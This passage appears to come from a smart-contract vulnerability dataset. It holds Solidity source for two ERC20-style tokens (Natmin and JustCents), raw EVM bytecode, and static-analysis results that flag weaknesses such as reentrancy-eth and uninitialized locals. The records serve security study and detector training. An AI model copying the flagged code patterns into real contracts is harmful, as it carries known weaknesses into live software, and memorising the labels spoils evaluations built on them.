573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013cd8556cfc513c8203a976d9aeb38b93e7e60e505134238ffc5dd7dbab9f8ba64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,691
0x90d46a9636b973f18186541d1b04ed3621a49cb0
pragma solidity ^0.4.22; //Math operations with safety checks that throw on error library SafeMath { //multiply function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } //divide function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } //subtract function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } //addition function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public contractOwner; event TransferredOwnership(address indexed _previousOwner, address indexed _newOwner); constructor() public { contractOwner = msg.sender; } modifier ownerOnly() { require(msg.sender == contractOwner); _; } function transferOwnership(address _newOwner) internal ownerOnly { require(_newOwner != address(0)); contractOwner = _newOwner; emit TransferredOwnership(contractOwner, _newOwner); } } // Natmin vesting contract for team members contract NatminVesting is Ownable { struct Vesting { uint256 amount; uint256 endTime; } mapping(address => Vesting) internal vestings; function addVesting(address _user, uint256 _amount, uint256 _endTime) public ; function getVestedAmount(address _user) public view returns (uint256 _amount); function getVestingEndTime(address _user) public view returns (uint256 _endTime); function vestingEnded(address _user) public view returns (bool) ; function endVesting(address _user) public ; } //ERC20 Standard interface specification contract ERC20Standard { function balanceOf(address _user) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } //ERC223 Standard interface specification contract ERC223Standard { function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value, bytes _data); } //ERC223 function to handle incoming token transfers contract ERC223ReceivingContract { function tokenFallback(address _from, uint256 _value, bytes _data) public; } contract BurnToken is Ownable { using SafeMath for uint256; function burn(uint256 _value) public; function _burn(address _user, uint256 _value) internal; event Burn(address indexed _user, uint256 _value); } //NatminToken implements the ERC20, ERC223 standard methods contract NatminToken is ERC20Standard, ERC223Standard, Ownable, NatminVesting, BurnToken { using SafeMath for uint256; string _name = "Natmin"; string _symbol = "NAT"; string _standard = "ERC20 / ERC223"; uint256 _decimals = 18; // same value as wei uint256 _totalSupply; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor(uint256 _supply) public { require(_supply != 0); _totalSupply = _supply * (10 ** 18); balances[contractOwner] = _totalSupply; } // Returns the _name of the token function name() public view returns (string) { return _name; } // Returns the _symbol of the token function symbol() public view returns (string) { return _symbol; } // Returns the _standard of the token function standard() public view returns (string) { return _standard; } // Returns the _decimals of the token function decimals() public view returns (uint256) { return _decimals; } // Function to return the total supply of the token function totalSupply() public view returns (uint256) { return _totalSupply; } // Function to return the balance of a specified address function balanceOf(address _user) public view returns (uint256 balance){ return balances[_user]; } // Transfer function to be compatable with ERC20 Standard function transfer(address _to, uint256 _value) public returns (bool success){ require(_to != 0x0); bytes memory _empty; if(isContract(_to)){ return transferToContract(_to, _value, _empty); }else{ return transferToAddress(_to, _value, _empty); } } // Transfer function to be compatable with ERC223 Standard function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { require(_to != 0x0); if(isContract(_to)){ return transferToContract(_to, _value, _data); }else{ return transferToAddress(_to, _value, _data); } } // This function checks if the address is a contract or wallet // If the codeLength is greater than 0, it is a contract function isContract(address _to) internal view returns (bool) { uint256 _codeLength; assembly { _codeLength := extcodesize(_to) } return _codeLength > 0; } // This function to be used if the target is a contract address function transferToContract(address _to, uint256 _value, bytes _data) internal returns (bool) { require(balances[msg.sender] >= _value); require(validateTransferAmount(msg.sender,_value)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ERC223ReceivingContract _tokenReceiver = ERC223ReceivingContract(_to); _tokenReceiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } // This function to be used if the target is a normal eth/wallet address function transferToAddress(address _to, uint256 _value, bytes _data) internal returns (bool) { require(balances[msg.sender] >= _value); require(validateTransferAmount(msg.sender,_value)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } // ERC20 standard function function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ require(_to != 0x0); require(_value <= allowed[_from][msg.sender]); require(_value <= balances[_from]); require(validateTransferAmount(_from,_value)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // ERC20 standard function function approve(address _spender, uint256 _value) public returns (bool success){ allowed[msg.sender][_spender] = 0; allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // ERC20 standard function function allowance(address _owner, address _spender) public view returns (uint256 remaining){ return allowed[_owner][_spender]; } // Stops any attempt from sending Ether to this contract function () public { revert(); } // public function to call the _burn function function burn(uint256 _value) public ownerOnly { _burn(msg.sender, _value); } // Burn the specified amount of tokens by the owner function _burn(address _user, uint256 _value) internal ownerOnly { require(balances[_user] >= _value); balances[_user] = balances[_user].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(_user, _value); emit Transfer(_user, address(0), _value); bytes memory _empty; emit Transfer(_user, address(0), _value, _empty); } // Create a vesting entry for the specified user function addVesting(address _user, uint256 _amount, uint256 _endTime) public ownerOnly { vestings[_user].amount = _amount; vestings[_user].endTime = _endTime; } // Returns the vested amount for a specified user function getVestedAmount(address _user) public view returns (uint256 _amount) { _amount = vestings[_user].amount; return _amount; } // Returns the vested end time for a specified user function getVestingEndTime(address _user) public view returns (uint256 _endTime) { _endTime = vestings[_user].endTime; return _endTime; } // Checks if the venting period is over for a specified user function vestingEnded(address _user) public view returns (bool) { if(vestings[_user].endTime <= now) { return true; } else { return false; } } // This function checks the transfer amount against the current balance and vested amount // Returns true if transfer amount is smaller than the difference between the balance and vested amount function validateTransferAmount(address _user, uint256 _amount) internal view returns (bool) { if(vestingEnded(_user)){ return true; }else{ uint256 _vestedAmount = getVestedAmount(_user); uint256 _currentBalance = balanceOf(_user); uint256 _availableBalance = _currentBalance.sub(_vestedAmount); if(_amount <= _availableBalance) { return true; }else{ return false; } } } // Manual end vested time function endVesting(address _user) public ownerOnly { vestings[_user].endTime = now; } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010d578063095ea7b31461019757806315875f54146101cf57806318160ddd1461020257806323b872dd14610217578063313ce5671461024157806342966c68146102565780634691a998146102705780635a3b7e421461029757806370a08231146102ac57806395d89b41146102cd578063a9059cbb146102e2578063be45fd6214610306578063bf05d6531461036f578063ce606ee014610390578063d5a73fdd146103c1578063dd62ed3e146103e2578063fe0c408514610409575b34801561010757600080fd5b50600080fd5b34801561011957600080fd5b5061012261042a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015c578181015183820152602001610144565b50505050905090810190601f1680156101895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a357600080fd5b506101bb600160a060020a03600435166024356104bd565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101f0600160a060020a0360043516610523565b60408051918252519081900360200190f35b34801561020e57600080fd5b506101f0610546565b34801561022357600080fd5b506101bb600160a060020a036004358116906024351660443561054c565b34801561024d57600080fd5b506101f06106c9565b34801561026257600080fd5b5061026e6004356106cf565b005b34801561027c57600080fd5b5061026e600160a060020a03600435166024356044356106f3565b3480156102a357600080fd5b5061012261072d565b3480156102b857600080fd5b506101f0600160a060020a036004351661078e565b3480156102d957600080fd5b506101226107a9565b3480156102ee57600080fd5b506101bb600160a060020a036004351660243561080a565b34801561031257600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101bb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108559650505050505050565b34801561037b57600080fd5b5061026e600160a060020a0360043516610897565b34801561039c57600080fd5b506103a56108ce565b60408051600160a060020a039092168252519081900360200190f35b3480156103cd57600080fd5b506101f0600160a060020a03600435166108dd565b3480156103ee57600080fd5b506101f0600160a060020a03600435811690602435166108f8565b34801561041557600080fd5b506101bb600160a060020a0360043516610923565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104b35780601f10610488576101008083540402835291602001916104b3565b820191906000526020600020905b81548152906001019060200180831161049657829003601f168201915b5050505050905090565b336000818152600860209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600160a060020a038116600090815260016020819052604090912001545b919050565b60065490565b6000600160a060020a038316151561056357600080fd5b600160a060020a038416600090815260086020908152604080832033845290915290205482111561059357600080fd5b600160a060020a0384166000908152600760205260409020548211156105b857600080fd5b6105c28483610955565b15156105cd57600080fd5b600160a060020a0384166000908152600760205260409020546105f6908363ffffffff6109b816565b600160a060020a03808616600090815260076020526040808220939093559085168152205461062b908363ffffffff6109ca16565b600160a060020a03808516600090815260076020908152604080832094909455918716815260088252828120338252909152205461066f908363ffffffff6109b816565b600160a060020a0380861660008181526008602090815260408083203384528252918290209490945580518681529051928716939192600080516020610f9e833981519152929181900390910190a35060015b9392505050565b60055490565b600054600160a060020a031633146106e657600080fd5b6106f033826109d9565b50565b600054600160a060020a0316331461070a57600080fd5b600160a060020a0390921660009081526001602081905260409091209182550155565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b35780601f10610488576101008083540402835291602001916104b3565b600160a060020a031660009081526007602052604090205490565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104b35780601f10610488576101008083540402835291602001916104b3565b60006060600160a060020a038416151561082357600080fd5b61082c84610b99565b156108435761083c848483610ba1565b915061084e565b61083c848483610e18565b5092915050565b6000600160a060020a038416151561086c57600080fd5b61087584610b99565b1561088c57610885848484610ba1565b90506106c2565b610885848484610e18565b600054600160a060020a031633146108ae57600080fd5b600160a060020a0316600090815260016020819052604090912042910155565b600054600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b600160a060020a038116600090815260016020819052604082200154421061094d57506001610541565b506000610541565b60008060008061096486610923565b1561097257600193506109af565b61097b866108dd565b92506109868661078e565b9150610998828463ffffffff6109b816565b90508085116109aa57600193506109af565b600093505b50505092915050565b6000828211156109c457fe5b50900390565b6000828201838110156106c257fe5b600054606090600160a060020a031633146109f357600080fd5b600160a060020a038316600090815260076020526040902054821115610a1857600080fd5b600160a060020a038316600090815260076020526040902054610a41908363ffffffff6109b816565b600160a060020a038416600090815260076020526040902055600654610a6d908363ffffffff6109b816565b600655604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a03861691600080516020610f9e8339815191529181900360200190a36000600160a060020a031683600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1684846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b59578181015183820152602001610b41565b50505050905090810190601f168015610b865780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3505050565b6000903b1190565b336000908152600760205260408120548190841115610bbf57600080fd5b610bc93385610955565b1515610bd457600080fd5b33600090815260076020526040902054610bf4908563ffffffff6109b816565b3360009081526007602052604080822092909255600160a060020a03871681522054610c26908563ffffffff6109ca16565b600160a060020a03861660008181526007602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015610cc4578181015183820152602001610cac565b50505050905090810190601f168015610cf15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610d1257600080fd5b505af1158015610d26573d6000803e3d6000fd5b5050604080518781529051600160a060020a0389169350339250600080516020610f9e8339815191529181900360200190a384600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610dd2578181015183820152602001610dba565b50505050905090810190601f168015610dff5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b33600090815260076020526040812054831115610e3457600080fd5b610e3e3384610955565b1515610e4957600080fd5b33600090815260076020526040902054610e69908463ffffffff6109b816565b3360009081526007602052604080822092909255600160a060020a03861681522054610e9b908463ffffffff6109ca16565b600160a060020a038516600081815260076020908152604091829020939093558051868152905191923392600080516020610f9e8339815191529281900390910190a383600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f58578181015183820152602001610f40565b50505050905090810190601f168015610f855780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820df7b03d92cdc22fe07016078e29862359b9f234beca31c1e025490f96eb52d290029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,692
0x53ea3b4502f2565490726bbf0afe4e33283a0764
/** *Submitted for verification at Etherscan.io on 2021-04-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract JCT is Context, IERC20, IERC20Metadata,Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "JustCents"; _symbol = "JCT"; _totalSupply = 500000000 * (10**decimals()); _balances[msg.sender] = _totalSupply; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in 